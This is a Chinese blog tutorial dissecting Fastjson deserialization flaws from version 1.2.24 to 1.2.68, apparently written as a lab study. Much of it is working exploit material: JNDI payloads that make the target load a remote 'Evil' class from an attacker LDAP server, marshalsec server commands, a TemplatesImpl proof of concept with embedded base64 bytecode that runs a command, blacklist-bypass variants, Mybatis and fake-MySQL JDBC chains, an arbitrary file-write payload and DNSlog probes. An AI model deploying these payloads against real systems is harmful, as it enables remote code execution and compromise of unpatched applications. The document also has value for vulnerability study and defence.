赞
踩
Fastjson 是阿里巴巴开源的一个 Java 的 JSON 解析库。它提供了快速、高效、简洁的 JSON 解析功能。Fastjson 不仅支持常见的 JSON 数据类型(如字符串、数字、布尔值、数组、对象等),还支持 Java 原生数据类型(如整型、浮点型、数组、集合等)与 JSON 之间的互相转换。Fastjson 支持通过注解和 API 自定义 JSON 序列化和反序列化的过程,以满足不同的需求。总的来说,Fastjson 是一个高效、易用、功能丰富的 JSON 解析库,是处理 JSON 数据的首选工具。
Fastjson 反序列化漏洞产生的原因通常是由于 Fastjson 库在反序列化 JSON 数据时存在安全漏洞。这些漏洞可以被攻击者利用来执行任意代码、访问系统文件、读取敏感数据等危险操作。
具体来说,Fastjson 反序列化漏洞的产生原因包括:
1、反序列化时不对用户输入的 JSON 数据进行足够的安全检查,从而导致攻击者可以在反序列化的过程中注入恶意数据。
2、Fastjson 库支持反序列化非 Java 原生类型的对象,如果不对这些对象进行足够的安全限制,攻击者就可以通过构造恶意 JSON 数据来执行任意代码。
3、Fastjson 库在反序列化 JSON 数据时存在多处安全漏洞,例如针对关键字的黑名单检查不严格,对类型的限制不严格等。
4、Fastjson 库没有对类加载器进行足够的限制,从而导致攻击者可以利用类加载器加载恶意类,并在反序列化 JSON 数据时执行任意代码。
简单的来说:
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有gadget,则会造成一些严重的安全问题。
创建一个MVN项目,并在pom.xml中添加含有漏洞版本的Fastjson(本次实验的版本是1.2.24)
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.24</version>
- </dependency>
修改JDK版本为8u161 < jdk < 8u191(本次实验使用的是8U162)
创建一个pojo类
- package flynAAAA;
-
- public class Student {
- private String name;
- private int age;
- private String hobby;
-
- public Student() {
- }
-
- public Student(String name, int age, String hobby) {
- this.name = name;
- this.age = age;
- this.hobby = hobby;
- }
-
- public String getName() {
- System.out.println("调用了getName");
- return name;
- }
-
- public void setName(String name) {
- System.out.println("调用了setName");
- this.name = name;
- }
-
- public int getAge() {
- return age;
- }
-
- public void setAge(int age) {
- this.age = age;
- }
-
- public String getHobby() {
- return hobby;
- }
-
- public void setHobby(String hobby) {
- this.hobby = hobby;
- }
-
- @Override
- public String toString() {
- return "user{" +
- "name='" + name + '\'' +
- ", age=" + age +
- ", hobby='" + hobby + '\'' +
- '}';
- }
- }
创建一个测试类
- package flynAAAA;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.serializer.SerializerFeature;
-
- public class Unser {
- public static void main(String[] args) {
- Student user = new Student("FlynAAAA",18,"Play");
-
- String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//把user对象转换成带@type的json字符串
- System.out.println(s2);
- System.out.println("----------------------------------");
- Object parse1 = JSON.parseObject(s2);
- System.out.println(parse1);//把json字符串转换成对象
- System.out.println(parse1.getClass().getName());
- }
- }
运行结果:
从结果可以看出
转换成的json字符串带@type,他的值为flynAAAA.Student,也就是说指定反序列化的类型为flynAAAA.Student
在使用parseObject将S2利用反序列化转换成对象的时候调用了Name的seter和geter方法。
接下来对反序列化流程进行分析:
紧接着将json字符串转换成parse对象,接下来进入parse对象中
再次对parse进行跟进。
进入parse中,这里回创建一个默认的parser对象“DefaultJSONParser”,继续跟进DefaultJSONParser。作用是对对输入的数据进行封装。
在DefaultJSONParser中会对输入的json字符串进行判断如果开头是“{”给一个token值为12,如果是“[”给值14。最终token的值为12.
紧接着返回parse类中,之后执行DefaultJSONParser类中的parse方法。继续进行跟进。
在DefaultJSONParser类中的,先将上一步DefaultJSONParser封装的结果赋值给lexer。
parse方法中会对前面的token值进行判断,不同token会进行不同的操作。Token值为12,首先创建了一个JSONObject对象,该对象是一个map类型的。之后在执行DefaultJSONParser类中的parseObject方法。
跟进DefaultJSONParser类中的parseObject方法,在该方法中会对当前对象的token值进行判断。之后根据转换的方式(转换方式可以这样理解:@type是自动转换)进行判断,根据转换方式得到需要反序列化类的名字(lexer.scanSymbol的作用就是得到需要反序列化类的名字,@type:flynAAAA.Student),之后使用TypeUtils.loadClass进行加载。
跟进TypeUtils.loadClass,需要反序列化类名别传入classname和classload被传入,此时classload为null。之后会在mappings进行查找flynAAAA.Student对应的值。
mappings的作用相当于缓存表里面存放着一些内置的类,由于mappings中没有flynAAAA.Student对应的值,所以当前clazz的值为空。
之后对clazz的值进行判断。
由于clazz的值为null,之后为clazz创建一个classload并放入mapping中。
之后返回到DefaultJSONParse#中的parseObiect中进行反序列化。跟进getDeserializer()
在getDeserializer(),首先在缓存里面进行查询。然后在进行getDeserializer,追进getDeserializer。
追进getDeserializer,也同样是在缓存里面进行检查,如果没有,会对反序列化的方式进行判断,不过之前会对有一个进行黑名单(denylist)判断。
Denylist的内容:
之后会以JavaBean的反序列化,在 createJavaBeanDeserializer使用JavaBean的反序列化。build方法通过反射加载clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo
之后在build方法中查找get、set
小结:
经过上面的调试,了解到fastjson将json字符串转换成对象时为什么调用Seter、get。以及反序列的流程,接下来分析gadget链子。
适用范围:Fastjson 1.2.22-1.2.24
漏洞原理:
@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型
环境部署:
Fastjson版本:1.2.24
恶意rmi/ladp服务端:marshalsec-0.0.3-SNAPSHOT-all.jar
- ldap:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088
-
- rmi:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088
服务端恶意类:
- import java.io.IOException;
- public class Evil {
- // 静态代码块, 当类被加载时调用
- public Evil() throws Exception{
- Runtime.getRuntime().exec("calc");
- }
- }
在服务端恶意代码的当前目录下开启http服务:
python -m http.server 9988
创建一个mvn项目,并且创建一个demo
- package flynAAAA;
-
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
-
- public class jndi {
- public static void main (String[] args) {
- String exp="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.40.128:8088/#Evil\",\"autoCommit\":true}";
- JSON.parseObject(exp);
- }
- }
结果:
JdbcRowSetImpl利用链分析
经过上面的反序列话调试的部分一直往下走,到setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)
直到setDataSourceName,dataSource的值为服务器上的恶意ldap地址
这个时候调用栈为:
- setDataSourceName:4309, JdbcRowSetImpl (com.sun.rowset)
- deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
- deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
- parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
- parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
- parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
- parse:137, JSON (com.alibaba.fastjson)
- parse:128, JSON (com.alibaba.fastjson)
- parseObject:201, JSON (com.alibaba.fastjson)
- main:10, jndi (flynAAAA)
直到JdbcRowSetImpl#setAutoCommit函数,设置autoCommit值,调用了connect()方法。跟进connect()方法。
在connect(),方法中this.con的值为空,紧接着判断DataSourceName(),上面已经知道DataSourceName值为ldap://192.168.40.128:8088/#Evil(可控),所以造成jndi漏洞。
Fastjson将对象转为Json通过toJSONString()方法,而将Json转换为对象有三个方法,这三个方法转换的时候也都会调用getter、setter,但触发条件不同:
- 1)parseObject(String text, Class\ clazz)
- Getter
-
- 方法名需要长于4
- 非静态方法
- 以 get 字符串开头,且第四个字符需要是大写字母
- 方法不能有参数
- 返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
- getter 方法对应的属性只能有 getter 不能有setter方法
- 方法为 public 属性
-
- Setter
- 方法名长度大于4且以set开头
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
- 方法为 public 属性
-
- 2)parseObject(String text)
-
- getter
- 方法名长度大于4且以get开头
- 非静态函数
- 方法不能有参数
- public 属性
-
- setter
- 方法名长度大于4且以set开头
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
-
- 3)parse (String text)
-
- getter
- 方法名需要长于4
- 非静态方法
- 以 get 字符串开头,且第四个字符需要是大写字母
- 方法不能有参数
- 返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
-
- getter 方法对应的属性只能有 getter 不能有setter方法
- 方法为 public 属性
-
- setter
- 方法名长度大于4且以set开头
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
- public 属性
漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
优点:不出网
前提:在使用parse反序列话的时候第二个参数需要设置“Feature.SupportNonPublicField”所以有很大的限制。
环境搭建
先生成POC,代码如下:
- package flynAAAA;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
- import com.alibaba.fastjson.parser.ParserConfig;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import javassist.ClassPool;
- import javassist.CtClass;
- import org.apache.tomcat.util.codec.binary.Base64;
-
- public class TEMPOC {
- public static class test{
- }
-
- public static void main(String[] args) throws Exception {
- // 实例化 ClassPool 用于修改class文件
- ClassPool pool = ClassPool.getDefault();
- // 获取test.class
- CtClass cc = pool.get(test.class.getName());
-
- String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
- // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
- cc.makeClassInitializer().insertBefore(cmd);
- // 设置类名。
- String randomClassName = "FlynAAAAA"+System.nanoTime();
- cc.setName(randomClassName);
-
- cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
- // 将生成的class文件保存当当前项目目录下
- cc.writeFile("./");
-
- try {
- byte[] evilCode= cc.toBytecode();
- String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
- final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
- String text1 = "{"+
- "\"@type\":\"" + NASTY_CLASS +"\","+
- "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
- "'_name':'a.b',"+
- "'_tfactory':{ },"+
- "'_outputProperties':{ }"+
- "}\n";
- // 输出构造好的POC
- System.out.println(text1);
-
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
运行结果如下:
创建测试类:
- package flynAAAA;
-
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
-
- public class jndi {
- public static void main (String[] args) {
- String exp="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFEVyaXRrZW4zOTM5NzQwNjExMzAwAQAWTEVyaXRrZW4zOTM5NzQwNjExMzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
- JSON.parseObject(exp, Feature.SupportNonPublicField);
- }
- }
运行结果:
Templateslmpl链调试
前置:
ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass
loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass: 根据基础URL指定的方式来加载类的字节码
defineClass:处理前面传入的字节码,将其处理成真正的Java类
而Classloader#defineClass是protected方法,所以不可以直接调用,写一个简单的demo:
- package flynAAAA;
-
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import javassist.ClassPool;
- import javassist.CtClass;
- import java.lang.reflect.Method;
- public class Demo
- {
- // 定义test类用做恶意类
- public static class test{}
- public static void main(String[] args) throws Exception
- {
- // 反射拿 defineClass() 方法
- Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
- // 暴力访问
- defineClass.setAccessible(true);
- // 实例化 ClassPool 用于修改class文件
- ClassPool pool = ClassPool.getDefault();
- // 获取test.class
- CtClass cc = pool.get(Demo.test.class.getName());
- // 定义恶意静态方法
- String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
- // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
- cc.makeClassInitializer().insertBefore(cmd);
- // 设置类名。
- String randomClassName = "FlynAAAA"+System.nanoTime();
- cc.setName(randomClassName);
- cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
- // 将生成的class文件保存当当前项目目录下
- cc.writeFile("./");
- // 获取恶意类的字节码
- byte[] evilCode = cc.toBytecode();
- System.out.println(evilCode);
- // 加载恶意类的字节码
- Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),null, evilCode, 0, evilCode.length);
- hello.newInstance();
- }
- }
结果:
这里必须要newInstance(),否则即使是定义的static静态代码块也不会被加载,这就意味着想要利用defineClass去加载恶意字节码执行命令,就必须要有方法能够调用恶意类的构造方法(真正加载恶意类)
回到正题:
TemplatesImpl重写了defineClass(),并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。
由于fastjson使用JSON.parseObject方法反序列化会调用get 和set方法.在TemplatesImpl中属性的get和set方法中getOutputProperties方法重写了newTransformer方法
继续跟进 newTransformer,发现在newTransformer里面使用了getTransletInstance(),
跟进getTransletInstance()需要_name!=null,_class == null
由于TemplatesImpl对defineclass进行了重写 对_bytecodes中的恶意代码进行加载,导致执行恶意代码.
Poc:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAF0ZseW5BQUFBQTE4ODY1MDE3NDAyNzAwAQAZTEZseW5BQUFBQTE4ODY1MDE3NDAyNzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
1.2.25开始fastjson默认关闭了反序列化的类,如果需要反序列化类,需要开启AutoType,开启后对反序列化的类进行黑名单检测。下面是开启AutoType后的对白名单进行绕过。
环境搭建:
Fastjsong版本:
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.25</version>
- </dependency>
开始先对在com.alibaba.fastjson.parser中加载黑名单:
之后在TypeUtils加载之前,进行checkAutoType检查:
跟进checkAutoType,之后进行黑名单匹配:
之后使用TypeUtils.classload进行加载该类
继续跟进,如果传入的类以“L”开头,以“;”结尾,那么便会掐头去尾,保留中间部分
结果将@type的值改成“Lcom.sun.rowset.JdbcRowSetImpl”,就能进行绕过。
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
fastjson版本:
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.42</version>
- </dependency>
在1.2.42,官方将黑名单类做hash混淆处理:
在checkAutoType方法中先对typeName进行长度判断大于3切小于128
与黑名单中的hash进行拼配后,为了修复上个版本的“L ;”绕过,在进入loadclass之前就进行“掐头去尾”,处理。
不难看出在loadclass方法里进行了“掐头去尾”处理,但这个loadclass方法是回调函数。
进行了三次“掐头去尾”后处理结果。
直到结果:
结果:
poc:
{"@type":"LLLcom.sun.rowset.JdbcRowSetImpl;;;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
Fastjson版本:
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.43</version>
- </dependency>
经过上面的研究,可以想到这次修复肯定修复了LL开头,但是使用[又可以进行绕过。
Poc:
- String exp="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.40.128:8088/Evil\", \"autoCommit\":true}]}";
- //这里又一个fastjson第一个{是可以不用闭合,也就是说最后可以少一个}。理解不了没关系,这个POC是完整的闭合。
基于Mybatis的利用链
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,这条链子同样影响1.2.45,但Mybatis的版本必须小于3.5.6
Mybatis版本:
- <dependency>
- <groupId>org.mybatis</groupId>
- <artifactId>mybatis</artifactId>
- <version>3.5.5</version>
- </dependency>
Fastjson版本:
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.43</version>
- </dependency>
Demo:
- package flynAAAA;
- import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
- import java.util.Properties;
-
- public class client2 {
- public static void main(String[] args) throws Exception {
- JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
- Properties datasource = new Properties();
- datasource.setProperty("data_source", "ldap://192.168.40.128:8088/Evil");
- jndiDataSourceFactory.setProperties(datasource);
- }
- }
如果properties中存在data_source键,则将对应值带如lookup(),造成JNDI注入:
最终POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.40.128:8088/#Evil"}
这次这个版本(借助浅蓝大佬的文章进行学习)可以在不需要开启autoTypeSupport的触发漏洞:
Fastjson版本:
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.47</version>
- </dependency>
在checkAutoType中,在开启autoTypeSupport的情况下,代码会走到Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null来进行判断抛出异常,如果不符合的话会继续往下走从Mapping和deserializers缓存中寻找类,如果存在则返回clazz.这次使用的是java.lang.Class刚好可以绕过黑名单检测。通过deserializers.findClass找到该类。
而在ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);接下来直接进入MiscCode.java中的deseriale方法,lexer.token() == JSONToken.LITERAL_STRING为false走到else,紧接着进入parser.paser中,objVal的值为com.sun.rowset.JdbcRowSetImpl。
之后对objval的值进行判断,objVal赋值给strVal
随后进入TypeUtils.loadClass中,
跟进TypeUtils.loadClass,首先在mappings里面查找com.sun.rowset.JdbcRowSetImpl没有找到,之后创建一个为此创建了一个classload并加入缓存中。
当程序第二次加载checkAutoType()时,恶意类已经存在于mapping缓存中,所以成功取值clazz,直经过判断后接返回
非常巧妙地绕过了AutoType与黑名单机制,触发RCE,1.2.47的精髓就在于,通过java.lang.class触发缓存机制,利用loadClass()的递归解析将JdbcRowSetImpl添加到缓存,从而绕过了checkAutoType()与黑名单。
总结到这里真的麻了!!!!!(分析过程就先省略,有机会再补充)
升级后的checkAutoType()验证的流程图
Fastsjon版本:
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.68</version>
- </dependency>
MySQL版本
- <dependency>
- <groupId>mysql</groupId>
- <artifactId>mysql-connector-java</artifactId>
- <version>5.1.11</version>
- </dependency>
这里Mysql的RCE利用的是JDBC的反序列化链,原理就是通过JDBC连接MySQL服务端时,会执行SQL查询,其中查询的结果集会在客户端调用ObjectInputStream.readObject()进行反序列化操作,如果我们能够控制结果以及连接地址,就会触发RCE。
需要用到fakemysql下载连接:
https://github.com/fnmsd/MySQL_Fake_Server/
下载完成之后解压将yso放到当前目录:
之后开启server:
Demo:
- {
- "@type": "java.lang.AutoCloseable",
- "@type": "com.mysql.jdbc.JDBC4Connection",
- "hostToConnectTo": "127.0.0.1",
- "portToConnectTo": 3306,
- "info": {
- "user": "yso_CommonsCollections5_calc",
- "password": "pass",
- "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
- "autoDeserialize": "true",
- "NUM_HOSTS": "1"
- },
- "databaseToConnectTo": "dbname",
- "url": ""
- }
结果:
还有师傅挖掘到了基于commons-io 2.0~2.6 的任意文件写入链,
POC:
- package flynAAAA;
- import com.alibaba.fastjson.JSON;
- import java.util.Random;
- public class client6
- {
- private static final Random RAND = new Random();
- public static void main(String[] args) {
- String aaa_8192 = "FlynAAAAA"+"\n"+getRandomString(81920);
- String write_name = "E://2.txt";
- String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
- System.out.println(payload_commons_io_filewrite_0_6);
- JSON.parse(payload_commons_io_filewrite_0_6);
- }
-
- public static String getRandomString(int numChars) {
- int chars = RAND.nextInt(numChars);
- while (chars == 0)
- chars = RAND.nextInt(numChars);
- StringBuffer sb = new StringBuffer();
- for (int i = 0; i < chars; i++) {
- int index = 97 + RAND.nextInt(26);
- char c = (char) index;
- sb.append(c);
- }
- return sb.toString();
- }
- }
结果:
- {"@type":"java.net.InetAddress","val":"dnslog"}
- {"@type":"java.net.Inet4Address","val":"dnslog"}
- {"@type":"java.net.Inet6Address","val":"dnslog"}
- {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
- {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
- {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
- Set[{"@type":"java.net.URL","val":"http://dnslog"}]
- Set[{"@type":"java.net.URL","val":"http://dnslog"}
- {{"@type":"java.net.URL","val":"http://dnslog"}:0
- {"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
- [{"a":"a\x]
- {"@type":"java.lang.AutoCloseable" //版本检测
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。